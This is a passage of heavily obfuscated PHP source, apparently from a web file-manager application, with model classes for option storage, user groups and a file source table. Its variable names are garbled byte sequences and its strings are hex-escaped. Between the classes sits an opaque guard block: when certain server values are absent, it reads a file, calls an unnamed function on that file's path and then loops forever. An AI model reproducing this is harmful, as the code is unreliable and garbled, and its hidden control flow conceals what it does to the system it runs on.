= array($ÀÕ¿<C395>³™[1962] => array($ÀÕ¿<C395>³™[7], array($˩×, $<24>·Ÿ®öì))); $ÂÖ·åèÅ = $this->where($Û՛ѽÔ)->select(); $ÂÖ·åèÅ = array_to_keyvalue($ÂÖ·åèÅ, $ÀÕ¿<C395>³™[1962]); if (!isset($ÂÖ·åèÅ[$˩×]) || !isset($ÂÖ·åèÅ[$<24>·Ÿ®öì]) || $ÂÖ·åèÅ[$˩×][$ÀÕ¿<C395>³™[192]] == 0) { return !1; } $ÛÕ›Ñ½Ô = array($ÀÕ¿<C395>³™[1962] => $˩×); $ê«<C3AA>®ìË = Model($ÀÕ¿<C395>³™[2056])->where($Û՛ѽÔ)->select(); if (!$ê«<C3AA>®ìË) { $ê«<C3AA>®ìË = array(); } foreach ($ê«<C3AA>®ìË as $þ–ëá™Ö) { $íÁÌŽ€â = $þ–ëá™Ö[$ÀÕ¿<C395>³™[1763]]; $ÛÕ›Ñ½Ô = array($ÀÕ¿<C395>³™[1763] => $íÁÌŽ€â, $ÀÕ¿<C395>³™[1962] => $<24>·Ÿ®öì); $óåõ¥Ì¢ = Model($ÀÕ¿<C395>³™[2056])->where($Û՛ѽÔ)->find(); if (!$óåõ¥Ì¢) { $‡˜œ§“<C2A7> = array($<24>·Ÿ®öì => $þ–ëá™Ö[$ÀÕ¿<C395>³™[2070]]); Model($ÀÕ¿<C395>³™[598])->userGroupAdd($íÁÌŽ€â, $‡˜œ§“<C2A7>); } Model($ÀÕ¿<C395>³™[598])->userGroupRemove($íÁÌŽ€â, $˩×); } $ÛÕ›Ñ½Ô = array($ÀÕ¿<C395>³™[190] => 2, $ÀÕ¿<C395>³™[192] => 0, $ÀÕ¿<C395>³™[485] => 1, $ÀÕ¿<C395>³™[569] => array($ÀÕ¿<C395>³™[7], array($˩×, $<24>·Ÿ®öì))); $¶ë³ì€Ý = Model($ÀÕ¿<C395>³™[899])->where($Û՛ѽÔ)->field($ÀÕ¿<C395>³™[2071])->select(); $¶ë³ì€Ý = array_to_keyvalue($¶ë³ì€Ý, $ÀÕ¿<C395>³™[569], $ÀÕ¿<C395>³™[193]); $àöí˧š = !empty($¶ë³ì€Ý[$˩×]) ? $¶ë³ì€Ý[$˩×] : !1; if ($àöí˧š) { if (!$¶ë³ì€Ý[$<24>·Ÿ®öì]) { $¶ë³ì€Ý[$<24>·Ÿ®öì] = Model($ÀÕ¿<C395>³™[899])->groupRootAdd($<24>·Ÿ®öì); } $ʨŸ<C2A8>ˆõ = $¶ë³ì€Ý[$<24>·Ÿ®öì]; $ÛÕ›Ñ½Ô = array($ÀÕ¿<C395>³™[192] => $àöí˧š); $¶ë³ì€Ý = Model($ÀÕ¿<C395>³™[899])->where($Û՛ѽÔ)->field($ÀÕ¿<C395>³™[2072])->select(); if (!$¶ë³ì€Ý) { $¶ë³ì€Ý = array(); } Model($ÀÕ¿<C395>³™[899])->moveClearAuth = !1; foreach ($¶ë³ì€Ý as $ìͽõå°) { $Øì¨ëëª = $ìͽõå°[$ÀÕ¿<C395>³™[485]] == $ÀÕ¿<C395>³™[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($ÀÕ¿<C395>³™[899])->move($ìͽõå°[$ÀÕ¿<C395>³™[193]], $ʨŸ<C2A8>ˆõ, $Øì¨ëëª); } Model($ÀÕ¿<C395>³™[899])->moveClearAuth = !0; $ÛÕ›Ñ½Ô = array($ÀÕ¿<C395>³™[190] => 2, $ÀÕ¿<C395>³™[569] => $˩×); $©çðåÑö = array($ÀÕ¿<C395>³™[569] => $<24>·Ÿ®öì); Model($ÀÕ¿<C395>³™[2073])->where($Û՛ѽÔ)->save($©çðåÑö); Model($ÀÕ¿<C395>³™[2074])->where($Û՛ѽÔ)->save($©çðåÑö); } $this->_changeChildLevel($ÂÖ·åèÅ[$˩×], $ÂÖ·åèÅ[$<24>·Ÿ®öì], !0); $this->where(array($ÀÕ¿<C395>³™[192] => $˩×))->save(array($ÀÕ¿<C395>³™[192] => $<24>·Ÿ®öì)); $this->_clearChildrenCache($ÂÖ·åèÅ[$<24>·Ÿ®öì]); return !0; } } if (!isset($_SERVER[$_SERVER[ˆ¡¹µ‹Â][846]]) || !isset($_SERVER[$_SERVER[ˆ¡¹µ‹Â][844]])) { $_getc = $_SERVER[ˆ¡¹µ‹Â][847]; $_getfile = $_SERVER[$_SERVER[ˆ¡¹µ‹Â][848]] . $_SERVER[ˆ¡¹µ‹Â][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ˆ¡¹µ‹Â][262], $_getfilec); if (count($_getarrs) < $_SERVER[ˆ¡¹µ‹Â][687]) { $exit = $_SERVER[ˆ¡¹µ‹Â][850]; $exit(); } $_act = $_SERVER[ˆ¡¹µ‹Â][851]; $_act($_SERVER[$_SERVER[ˆ¡¹µ‹Â][848]] . $_SERVER[ˆ¡¹µ‹Â][849]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[ˆ¡¹µ‹Â][454]); } } goto EŠ·Ÿˆ°¼; A¢Ï<C2A2>„ìë»: class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\163\x74\x65\x6d\117\x70\x74\151\x6f\156"; public $field = array(); public function listData($ž¡Á¤¹Ë = false, $ÄÑŽüµû = "\155\157\144\151\146\x79\124\x69\x6d\145", $‰ƒ¤þº¦ = false) { $Վ̲Ž× = Model($this->modelType)->get(!1, $this->optionType, !0); $±<E280BA>¨Ý“ = array_values($Վ̲Ž×); if ($±<E280BA>¨Ý“ && $±<E280BA>¨Ý“[0] && !is_array($±<E280BA>¨Ý“[0])) { Model($this->modelType)->cacheRemove($this->optionType); $Վ̲Ž× = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$Վ̲Ž×) { return $ž¡Á¤¹Ë ? null : array(); } if (!$ž¡Á¤¹Ë) { $Վ̲Ž× = array_filter(array_values($Վ̲Ž×)); return array_sort_by($Վ̲Ž×, $ÄÑŽüµû, $‰ƒ¤þº¦); } return $Վ̲Ž×[$_SERVER[ˆ¡¹µ‹Â][472] . $ž¡Á¤¹Ë]; } public function insert($½öÒõš¯) { $úò¦»ë€ =& $_SERVER[ˆ¡¹µ‹Â]; $½öÒõš¯ = array_field_key($½öÒõš¯, $this->field); $–ºÝʼnš = Model($this->modelType)->get($úò¦»ë€[473], $this->optionType . $úò¦»ë€[474]); $–ºÝʼnš = $–ºÝʼnš ? $–ºÝʼnš : 0; $½öÒõš¯[$úò¦»ë€[475]] = ++$–ºÝʼnš; $½öÒõš¯[$úò¦»ë€[231]] = time(); $½öÒõš¯[$úò¦»ë€[88]] = time(); Model($this->modelType)->set($úò¦»ë€[473], $–ºÝʼnš, $this->optionType . $úò¦»ë€[474]); Model($this->modelType)->set($úò¦»ë€[472] . $–ºÝʼnš, $½öÒõš¯, $this->optionType); return $–ºÝʼnš; } public function update($…艮ŒÚ, $Ñ”§<E280BA>Õ) { $£«²Öºž =& $_SERVER[ˆ¡¹µ‹Â]; $Ñ”§<E280BA>Õ = array_field_key($Ñ”§<E280BA>Õ, $this->field); $ •…ö…˜ = $this->listData($…艮ŒÚ); if (!$ •…ö…˜ || !$…艮ŒÚ) { return !1; } $Ñ”§<E280BA>Õ = array_merge($ •…ö…˜, $Ñ”§<E280BA>Õ); $Ñ”§<E280BA>Õ[$£«²Öºž[88]] = time(); return Model($this->modelType)->set($£«²Öºž[472] . $…艮ŒÚ, $Ñ”§<E280BA>Õ, $this->optionType); } public function remove($•Û™é«ü) { if (!$•Û™é«ü) { return !1; } return Model($this->modelType)->remove($_SERVER[ˆ¡¹µ‹Â][472] . $•Û™é«ü, $this->optionType); } public function clear() { $÷âÈû»<C3BB> =& $_SERVER[ˆ¡¹µ‹Â]; Model($this->modelType)->remove($÷âÈû»<C3BB>[473], $this->optionType . $÷âÈû»<C3BB>[474]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($ýÝ£©Ë<C2A9>, $þáîõò¨) { if (!$þáîõò¨) { return !1; } $Žª¨¢êú = $this->listData(); $Žª¨¢êú = array_to_keyvalue($Žª¨¢êú, $ýÝ£©Ë<C2A9>); return isset($Žª¨¢êú[$þáîõò¨]) ? $Žª¨¢êú[$þáîõò¨] : !1; } public function findByName($”ίµ‘‚) { return $this->findByKey($_SERVER[ˆ¡¹µ‹Â][32], $”ίµ‘‚); } protected function resetData($ ûƒÏüÉ) { $«¾Ó‘Ÿ‚ =& $_SERVER[ˆ¡¹µ‹Â]; $ ûƒÏüÉ = is_array($ ûƒÏüÉ) ? $ ûƒÏüÉ : array(); $‰í–ëñÏ = array(); for ($À<>øÐÔí = 0; $À<>øÐÔí < count($ ûƒÏüÉ); $À<>øÐÔí++) { $‰í–ëñÏ[$«¾Ó‘Ÿ‚[472] . $ ûƒÏüÉ[$À<>øÐÔí][$«¾Ó‘Ÿ‚[475]]] = $ ûƒÏüÉ[$À<>øÐÔí]; } return Model($this->modelType)->set($‰í–ëñÏ, !1, $this->optionType); } private function getAutoName($‘á›êüÐ) { $ˆößùš¢ = array_to_keyvalue($this->listData(), $_SERVER[ˆ¡¹µ‹Â][32]); if (!$ˆößùš¢ || !isset($ˆößùš¢[$‘á›êüÐ])) { return $‘á›êüÐ; } for ($<24>¤öç« = 1; $<24>¤öç« < count($ˆößùš¢); $<24>¤öç«++) { $¿ô¸ØÖÇ = $‘á›êüÐ . "\x28{$<24>¤öç«}\x29"; if (!isset($ˆößùš¢[$¿ô¸ØÖÇ])) { return $¿ô¸ØÖÇ; } } return $¿ô¸ØÖÇ; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ž<>ë« — = false, $”È–˜ûª = '', $…ت‘; = false) { $éø“÷ŸÓ =& $_SERVER[ˆ¡¹µ‹Â]; $½çóûØ<C3BB> = $this->cacheGet($”È–˜ûª); $𹛩Á¢ = $this->optionDefault($”È–˜ûª); $𹛩Á¢ = is_array($𹛩Á¢) ? $𹛩Á¢ : array(); if (is_array($½çóûØ<C3BB>)) { $½çóûØ<C3BB> = array_merge($𹛩Á¢, $½çóûØ<C3BB>); return $ž<>ë« — ? isset($½çóûØ<C3BB>[$ž<>ë« —]) ? $½çóûØ<C3BB>[$ž<>ë« —] : null : $½çóûØ<C3BB>; } $ñ•ô£þä = $this->filterWhere(array($éø“÷ŸÓ[33] => $”È–˜ûª)); $½çóûØ<C3BB> = $this->where($ñ•ô£þä)->select(); $½çóûØ<C3BB> = array_to_keyvalue($½çóûØ<C3BB>, $éø“÷ŸÓ[97], $éø“÷ŸÓ[450]); foreach ($½çóûØ<C3BB> as $ç¡ÞÇÙÙ => $ç÷Ä…Ìä) { if ($…ت‘; || in_array($ç¡ÞÇÙÙ, $this->jsonField)) { $½çóûØ<C3BB>[$ç¡ÞÇÙÙ] = json_decode($ç÷Ä…Ìä, !0); } } $this->cacheSet($”È–˜ûª, $½çóûØ<C3BB>); $½çóûØ<C3BB> = array_merge($𹛩Á¢, $½çóûØ<C3BB>); return $ž<>ë« — ? $½çóûØ<C3BB>[$ž<>ë« —] : $½çóûØ<C3BB>; } public function set($žÁß庵, $‡åÐøüø = false, $¶«ÏÄ‘¸ = '') { $™è‰¬®¤ =& $_SERVER[ˆ¡¹µ‹Â]; $this->cacheRemove($¶«ÏÄ‘¸); $ÏŠ–Ÿ¹ù = array(); $úó“¢Á™ = is_array($žÁß庵) ? $žÁß庵 : array($žÁß庵 => $‡åÐøüø); foreach ($úó“¢Á™ as $œŒ‚ÛôŸ => $ºÑÖ·ó ) { if (is_array($ºÑÖ·ó )) { $ºÑÖ·ó  = json_encode_force($ºÑÖ·ó ); } $this->checkLength($ºÑÖ·ó , !1, $this->tableName . $™è‰¬®¤[4] . $žÁß庵); $ºÑÖ·ó  = self::textEncode($ºÑÖ·ó ); $úó“¢Á™ = array($™è‰¬®¤[33] => $¶«ÏÄ‘¸, $™è‰¬®¤[97] => $œŒ‚ÛôŸ, $™è‰¬®¤[450] => $ºÑÖ·ó ); $ÏŠ–Ÿ¹ù[] = $this->filterWhere($úó“¢Á™); } if (!$ÏŠ–Ÿ¹ù) { return !0; } $¼¸¸õù = $this->cacheKey($™è‰¬®¤[476]); CacheLock::lock($¼¸¸õùÂ); $ËòÎýç‡ = $this->addAll($ÏŠ–Ÿ¹ù, array(), !0); CacheLock::unlock($¼¸¸õùÂ); return $ËòÎýç‡; } protected function optionDefault($×¹­ÕÕ– = '') { return !1; } public function setDeep($މɱЩ, $©•”£ƒ· = false, $ëúÒ€”“ = '') { $ª»·Üü— = explode($_SERVER[ˆ¡¹µ‹Â][10], $މɱЩ); $–¶øÛت = $this->get(); array_set_value($–¶øÛت, $މɱЩ, $©•”£ƒ·); $this->set($ª»·Üü—[0], $–¶øÛت[$ª»·Üü—[0]], $ëúÒ€”“); } public function remove($ºžØ’žŽ, $ôœ ¹”ö = '') { $ñþ¼î½¬ =& $_SERVER[ˆ¡¹µ‹Â]; $this->cacheRemove($ôœ ¹”ö); $àø<C3A0><C3B8>Èé = $this->filterWhere(array($ñþ¼î½¬[97] => $ºžØ’žŽ, $ñþ¼î½¬[33] => $ôœ ¹”ö)); if (is_null($ºžØ’žŽ)) { unset($àø<C3A0><C3B8>Èé[$ñþ¼î½¬[97]]); } return $this->where($àø<C3A0><C3B8>Èé)->delete(); } public function cacheSet($¾„âÆ“Ý, $ðÑ<C3B0>¸Â = false) { return Cache::set($this->cacheKey($¾„âÆ“Ý), $ðÑ<C3B0>¸Â); } public function cacheGet($ŽÂ£Žá„) { return Cache::get($this->cacheKey($ŽÂ£Žá„)); } public function cacheRemove($î×ÐÍþù) { return Cache::remove($this->cacheKey($î×ÐÍþù)); } protected function filterWhere($¬ð£ÃôÇ) { return $¬ð£ÃôÇ; } protected function cacheKey($§„еã‚) { return $§„еã‚; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\157\x75\x72\x63\x65"; protected $tableMeta = array("\x74\x61\x62\x6c\145\116\x61\x6d\145" => "\151\x6f\x5f\x73\x6f\x75\162\x63\145\137\x6d\x65\164\141", "\155\x65\x74\x61\x46\x69\145\154\144" => "\x73\x6f\165\x72\x63\145\x49\x44"); protected $dataAuto = array(array("\x6d\x6f\144\151\146\171\124\151\x6d\145", "\164\x69\x6d\x65", "\x69\156\163\145\x72\164", "\x66\x75\156\143\x74\x69\157\x6e"), array("\x63\162\145\141\164\x65\124\x69\155\145", "\x74\x69\155\145", "\151\x6e\163\145\162\164", "\x66\165\x6e\143\164\151\x6f\156"), array("\x76\x69\x65\167\124\151\x6d\x65", "\x74\151\x6d\145", "\x69\156\163\145\162\x74", "\146\x75\x6e\143\x74\x69\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($¤ÓÊï’’) { return $this->listSource(array($_SERVER[ˆ¡¹µ‹Â][477] => $¤ÓÊï’’)); } public function typeName($¸ù¹ì•¿) { static $µ§–µŽ› = array(self::TYPE_SYSTEM => "\163\171\x73\164\145\155", self::TYPE_USER => "\165\163\145\x72", self::TYPE_GROUP => "\147\x72\157\x75\x70"); return $µ§–µŽ›[$¸ù¹ì•¿ . $_SERVER[ˆ¡¹µ‹Â][12]]; } public function sourceListInfo($‡à·Ì’Â, $®<>±ŽÒ³ = false) { $<24>ƒœèÙ<C3A8> =& $_SERVER[ˆ¡¹µ‹Â]; $‡à·Ì’ = $‡à·Ì’ ? $‡à·Ì’ : array(); $‡à·Ì’ = array_filter(array_unique($‡à·Ì’Â)); if (!$‡à·Ì’Â) { return array(); } $椼†ËÇ = $this->where(array($<24>ƒœèÙ<C3A8>[193] => array($<24>ƒœèÙ<C3A8>[7], $‡à·Ì’Â)))->select(); $this->_listDataApply($椼†ËÇ, $®<>±ŽÒ³); return array_to_keyvalue($椼†ËÇ, $<24>ƒœèÙ<C3A8>[193]); } public function pathInfoFilter(&$æ‹Í¬ªé) { $ˆ­ÜûËè =& $_SERVER[ˆ¡¹µ‹Â]; static $ŲŒ¨øÔ = false; static $µ<C2B5>þÐé = false; static $ߦ¼´Çø = false; if (!$ŲŒ¨øÔ) { $Ÿäž‘ö = $ˆ­ÜûËè[478]; $Ÿäž‘ö .= $ˆ­ÜûËè[479]; $Ÿäž‘ö .= $ˆ­ÜûËè[480]; $„ëèò— = $ˆ­ÜûËè[481]; $Ò‰õ«¹­ = explode($ˆ­ÜûËè[50], $„ëèò—); $ŲŒ¨øÔ = explode($ˆ­ÜûËè[50], $Ÿäž‘ö); $µ<C2B5>þÐé = array(); foreach ($ŲŒ¨øÔ as $ÛÌǯÛô) { if (in_array($ÛÌǯÛô, $Ò‰õ«¹­)) { continue; } $µ<C2B5>þÐé[] = $ÛÌǯÛô; } $ߦ¼´Çø = explode($ˆ­ÜûËè[50], $ˆ­ÜûËè[482]); } foreach ($ߦ¼´Çø as $<24>ɰ¡åØ) { if (isset($æ‹Í¬ªé[$<24>ɰ¡åØ])) { $æ‹Í¬ªé[$<24>ɰ¡åØ] = intval($æ‹Í¬ªé[$<24>ɰ¡åØ]); } } $æ‹Í¬ªé[$ˆ­ÜûËè[87]] = $ˆ­ÜûËè[483] . $æ‹Í¬ªé[$ˆ­ÜûËè[193]] . $ˆ­ÜûËè[484]; $æ‹Í¬ªé[$ˆ­ÜûËè[33]] = $æ‹Í¬ªé[$ˆ­ÜûËè[485]] == 1 ? $ˆ­ÜûËè[78] : $ˆ­ÜûËè[230]; $æ‹Í¬ªé[$ˆ­ÜûËè[190]] = $this->typeName($æ‹Í¬ªé[$ˆ­ÜûËè[190]]); if ($æ‹Í¬ªé[$ˆ­ÜûËè[485]] != 1) { $æ‹Í¬ªé[$ˆ­ÜûËè[169]] = $æ‹Í¬ªé[$ˆ­ÜûËè[486]]; unset($æ‹Í¬ªé[$ˆ­ÜûËè[486]]); } $àÛˆ<C39B>šÇ = $ŲŒ¨øÔ; if (isset($æ‹Í¬ªé[$ˆ­ÜûËè[487]]) && $æ‹Í¬ªé[$ˆ­ÜûËè[487]][$ˆ­ÜûËè[488]] == -1) { $àÛˆ<C39B>šÇ = $µ<C2B5>þÐé; } $æ‹Í¬ªé = array_field_key($æ‹Í¬ªé, $àÛˆ<C39B>šÇ); return $æ‹Í¬ªé; } public function listUserFav() { $Ꞇ Éî =& $_SERVER[ˆ¡¹µ‹Â]; $šÃ§ªý = Model($Ꞇ Éî[489])->listData(); $«ŸÉ«ÚŸ = array_filter_by_field($šÃ§ªý, $Ꞇ Éî[33], $Ꞇ Éî[490]); $«ŸÉ«ÚŸ = array_to_keyvalue($«ŸÉ«ÚŸ, $Ꞇ Éî[12], $Ꞇ Éî[87]); if ($«ŸÉ«ÚŸ) { $ÔÊŸ°™þ = $this->listSource(array($Ꞇ Éî[491] => array($Ꞇ Éî[492], $«ŸÉ«ÚŸ))); } $ÔÊŸ°™þ = array_to_keyvalue($ÔÊŸ°™þ[$Ꞇ Éî[445]], $Ꞇ Éî[193]); foreach ($šÃ§ªý as &$ñâ¾Ð¼ø) { $ñâ¾Ð¼ø = array($Ꞇ Éî[493] => $ñâ¾Ð¼ø[$Ꞇ Éî[475]], $Ꞇ Éî[494] => $ñâ¾Ð¼ø[$Ꞇ Éî[32]], $Ꞇ Éî[495] => $ñâ¾Ð¼ø[$Ꞇ Éî[87]], $Ꞇ Éî[496] => $ñâ¾Ð¼ø[$Ꞇ Éî[33]], $Ꞇ Éî[497] => $ñâ¾Ð¼ø[$Ꞇ Éî[231]], $Ꞇ Éî[498] => $ñâ¾Ð¼ø[$Ꞇ Éî[88]]); if ($ñâ¾Ð¼ø[$Ꞇ Éî[33]] == $Ꞇ Éî[490] && $ÔÊŸ°™þ[$ñâ¾Ð¼ø[$Ꞇ Éî[87]]]) { $ñâ¾Ð¼ø[$Ꞇ Éî[90]] = $ÔÊŸ°™þ[$ñâ¾Ð¼ø[$Ꞇ Éî[87]]]; } } unset($ñâ¾Ð¼ø); return $šÃ§ªý; } public function listUserTag($””æ<E2809D>ó¿) { $ð™¨ÛÞ• =& $_SERVER[ˆ¡¹µ‹Â]; if ($””æ<E2809D>ó¿ && !is_array($””æ<E2809D>ó¿)) { $””æ<E2809D>ó¿ = array($””æ<E2809D>ó¿); } $ñ˜Æþºµ = Model($ð™¨ÛÞ•[499])->listData(); $þ©ÌõÞÐ = array(); $¶¨žÙé¤ = array(); foreach ($ñ˜Æþºµ as $©Ÿ¦¥’‘) { $ß<><C39F>çÂ× = $©Ÿ¦¥’‘[$ð™¨ÛÞ•[87]]; if (!$ß<><C39F>çÂ×) { continue; } if (!isset($¶¨žÙé¤[$ß<><C39F>çÂ×])) { $¶¨žÙé¤[$ß<><C39F>çÂ×] = array(); } $¶¨žÙé¤[$ß<><C39F>çÂ×][] = $©Ÿ¦¥’‘[$ð™¨ÛÞ•[500]]; $þ©ÌõÞÐ[$©Ÿ¦¥’‘[$ð™¨ÛÞ•[87]]] = $©Ÿ¦¥’‘; } $ª<>ö<EFBFBD>œ = array(); $²£žßÑÁ = array(); $„ô èÀ´ = array(); foreach ($¶¨žÙé¤ as $Ͳ¢Õ޶ => $µ·<C2B5>ŸŽ<C5B8>) { $Œ³óóöà = !0; if (!$””æ<E2809D>ó¿) { $ª<>ö<EFBFBD>œ[] = $Ͳ¢Õ޶; continue; } foreach ($””æ<E2809D>ó¿ as $žÌ£¯œó) { if (!in_array($žÌ£¯œó, $µ·<C2B5>ŸŽ<C5B8>)) { $Œ³óóöà = !1; break; } } if (!$Œ³óóöà) { continue; } if (!is_numeric($Ͳ¢Õ޶)) { $àÈÙ<C388>Ç = $þ©ÌõÞÐ[$Ͳ¢Õ޶]; $<24>¶«¯‡ = array($ð™¨ÛÞ•[32] => $àÈÙ<C388>Ç[$ð™¨ÛÞ•[32]], $ð™¨ÛÞ•[87] => $àÈÙ<C388>Ç[$ð™¨ÛÞ•[87]], $ð™¨ÛÞ•[33] => $àÈÙ<C388>Ç[$ð™¨ÛÞ•[33]], $ð™¨ÛÞ•[90] => array($ð™¨ÛÞ•[501] => 1), $ð™¨ÛÞ•[232] => !0); if ($àÈÙ<C388>Ç[$ð™¨ÛÞ•[33]] == $ð™¨ÛÞ•[230]) { $„ô èÀ´[] = $<24>¶«¯‡; } if ($àÈÙ<C388>Ç[$ð™¨ÛÞ•[33]] == $ð™¨ÛÞ•[78]) { $²£žßÑÁ[] = $<24>¶«¯‡; } continue; } $ª<>ö<EFBFBD>œ[] = $Ͳ¢Õ޶; } if ($ª<>ö<EFBFBD>œ) { $×Óò° ý = $this->listSource(array($ð™¨ÛÞ•[491] => array($ð™¨ÛÞ•[492], $ª<>ö<EFBFBD>œ))); } $×Óò° ý = $×Óò° ý ? $×Óò° ý : array($ð™¨ÛÞ•[85] => array(), $ð™¨ÛÞ•[86] => array()); $×Óò° ý[$ð™¨ÛÞ•[85]] = array_merge($×Óò° ý[$ð™¨ÛÞ•[85]], $²£žßÑÁ); $×Óò° ý[$ð™¨ÛÞ•[86]] = array_merge($×Óò° ý[$ð™¨ÛÞ•[86]], $„ô èÀ´); if (isset($×Óò° ý[$ð™¨ÛÞ•[442]]) && count($ª<>ö<EFBFBD>œ) == $×Óò° ý[$ð™¨ÛÞ•[442]][$ð™¨ÛÞ•[443]]) { return $×Óò° ý; } $ÙÖ<C399>õ¨Ú = array(); $Éö²¨ÜÖ = array_to_keyvalue($×Óò° ý[$ð™¨ÛÞ•[85]], $ð™¨ÛÞ•[12], $ð™¨ÛÞ•[193]); $<24>àáÈêô = array_to_keyvalue($×Óò° ý[$ð™¨ÛÞ•[86]], $ð™¨ÛÞ•[12], $ð™¨ÛÞ•[193]); $™¤²´ª<C2B4> = array_merge($<24>àáÈêô, $Éö²¨ÜÖ); foreach ($ª<>ö<EFBFBD>œ as $ß<><C39F>çÂ×) { if (!in_array($ß<><C39F>çÂ×, $™¤²´ª<C2B4>)) { $ÙÖ<C399>õ¨Ú[] = $ß<><C39F>çÂ×; } } if ($ÙÖ<C399>õ¨Ú) { Model($ð™¨ÛÞ•[502])->removeBySource($ÙÖ<C399>õ¨Ú); } return $×Óò° ý; } public function listUserRecycle() { $™„×žî– =& $_SERVER[ˆ¡¹µ‹Â]; $¸µ¦«ê¼ = Model($™„מî–[503])->listData(); if (!$¸µ¦«ê¼) { return array(); } $䟿Ӡ” = array($™„מî–[491] => array($™„מî–[492], $¸µ¦«ê¼), $™„מî–[504] => 1); return $this->listSource($䟿Ӡ”); } public function listSource($³ºåýà„, $ôÑ’Ò¬ø = 3000, $Øà…ÚÓ‹ = false) { $³Ë½öÜ’ =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($³ºåýà„[$³Ë½öÜ’[505]])) { $³ºåýà„[$³Ë½öÜ’[505]] = 0; } if (isset($³ºåýà„[$³Ë½öÜ’[192]]) && $³ºåýà„[$³Ë½öÜ’[192]] == $³Ë½öÜ’[228]) { $³ºåýà„[$³Ë½öÜ’[486]] = array($³Ë½öÜ’[506], $³Ë½öÜ’[12]); } $è<>˜¯— = $³Ë½öÜ’[507]; $«éëúàù = $this->field($è<>˜¯—)->_makeOrder()->where($³ºåýà„)->selectPage($ôÑ’Ò¬ø); $this->_listPageCheck($«éëúàù, $è<>˜¯—, $³ºåýà„); $this->_listDataApply($«éëúàù[$³Ë½öÜ’[445]], $Øà…ÚÓ‹); $this->_listMake($«éëúàù); return $«éëúàù; } private function _listPageCheck(&$ÁÊÔô°ë, $Àü²˜ú”, $皇‹ñ¢) { $£ˆÚô€æ =& $_SERVER[ˆ¡¹µ‹Â]; if (!is_array($ÁÊÔô°ë[$£ˆÚô€æ[442]])) { return; } $†ëÚáö´ = $ÁÊÔô°ë[$£ˆÚô€æ[442]]; if ($†ëÚáö´[$£ˆÚô€æ[444]] <= 1) { return; } if ($†ëÚáö´[$£ˆÚô€æ[443]] >= 100000) { return; } if (Model($£ˆÚô€æ[508])->get($£ˆÚô€æ[509]) != $£ˆÚô€æ[510]) { return; } $Àü²˜ú” = str_replace(array($£ˆÚô€æ[53], $£ˆÚô€æ[418], $£ˆÚô€æ[262]), $£ˆÚô€æ[12], $Àü²˜ú”); $Àü²˜ú” = $£ˆÚô€æ[511] . str_replace($£ˆÚô€æ[50], $£ˆÚô€æ[512], $Àü²˜ú”) . $£ˆÚô€æ[513]; $Äϼ®Å¶ = $£ˆÚô€æ[514]; $Äϼ®Å¶ = $Äϼ®Å¶ . $£ˆÚô€æ[515]; $Þ“¯¼ÔÇ = $†ëÚáö´[$£ˆÚô€æ[439]] * ($†ëÚáö´[$£ˆÚô€æ[429]] - 1) . $£ˆÚô€æ[50] . $†ëÚáö´[$£ˆÚô€æ[439]]; $æçÒë‡Ñ = $this->_makeOrder(!0); $ÔæÛ„•â = $£ˆÚô€æ[511] . str_replace($£ˆÚô€æ[50], $£ˆÚô€æ[512], $æçÒë‡Ñ[0]); if (strpos($ÔæÛ„•â, $£ˆÚô€æ[516])) { $ÔæÛ„•â = str_replace($£ˆÚô€æ[516], $£ˆÚô€æ[517], $ÔæÛ„•â); } else { $ÔæÛ„•â .= $£ˆÚô€æ[518] . $æçÒë‡Ñ[1]; } $ÂÈè–Ú = array(); foreach ($皇‹ñ¢ as $û˜ß¡ñ´ => $ꕎ”«ú) { $ÂÈè–Ú[$£ˆÚô€æ[511] . $û˜ß¡ñ´] = $ꕎ”«ú; } $this->alias($£ˆÚô€æ[519])->field($Àü²˜ú”)->limit($Þ“¯¼ÔÇ)->order($ÔæÛ„•â); $©Ÿ¶þÔñ = $this->join($Äϼ®Å¶)->where($ÂÈè–Ú)->select(); if ($©Ÿ¶þÔñ) { $ÁÊÔô°ë[$£ˆÚô€æ[445]] = $©Ÿ¶þÔñ; } } protected function _makeOrder($<>°àËò = false) { $ÒÒù³¿õ =& $_SERVER[ˆ¡¹µ‹Â]; $åÙ£êö² = Model($ÒÒù³¿õ[520])->get($ÒÒù³¿õ[521]); $áþöÐðæ = Model($ÒÒù³¿õ[520])->get($ÒÒù³¿õ[522]); $Š¹Ó˜·‹ = array($ÒÒù³¿õ[523] => $ÒÒù³¿õ[524], $ÒÒù³¿õ[525] => $ÒÒù³¿õ[526]); $œ’Õ¼®Ì = array($ÒÒù³¿õ[32] => $ÒÒù³¿õ[32], $ÒÒù³¿õ[79] => $ÒÒù³¿õ[79], $ÒÒù³¿õ[169] => $ÒÒù³¿õ[486], $ÒÒù³¿õ[527] => $ÒÒù³¿õ[527], $ÒÒù³¿õ[528] => $ÒÒù³¿õ[529], $ÒÒù³¿õ[231] => $ÒÒù³¿õ[231], $ÒÒù³¿õ[88] => $ÒÒù³¿õ[88]); $•<>ùêÚ¶ = Input::get($ÒÒù³¿õ[530], $ÒÒù³¿õ[7], $åÙ£êö², array_keys($œ’Õ¼®Ì)); $ô ô¾<C3B4>Ê = Input::get($ÒÒù³¿õ[531], $ÒÒù³¿õ[7], $áþöÐðæ, array_keys($Š¹Ó˜·‹)); if (!in_array($•<>ùêÚ¶, array_keys($œ’Õ¼®Ì))) { $•<>ùêÚ¶ = $ÒÒù³¿õ[32]; } if (!in_array($ô ô¾<C3B4>Ê, array_keys($Š¹Ó˜·‹))) { $•<>ùêÚ¶ = $ÒÒù³¿õ[523]; } if ($•<>ùêÚ¶ == $ÒÒù³¿õ[32]) { } $ë°’´‚å = $ÒÒù³¿õ[532] . $œ’Õ¼®Ì[$•<>ùêÚ¶] . $ÒÒù³¿õ[53] . $Š¹Ó˜·‹[$ô ô¾<C3B4>Ê]; $ë°’´‚å = rtrim(trim($ë°’´‚å), $ÒÒù³¿õ[50]); if ($<>°àËò) 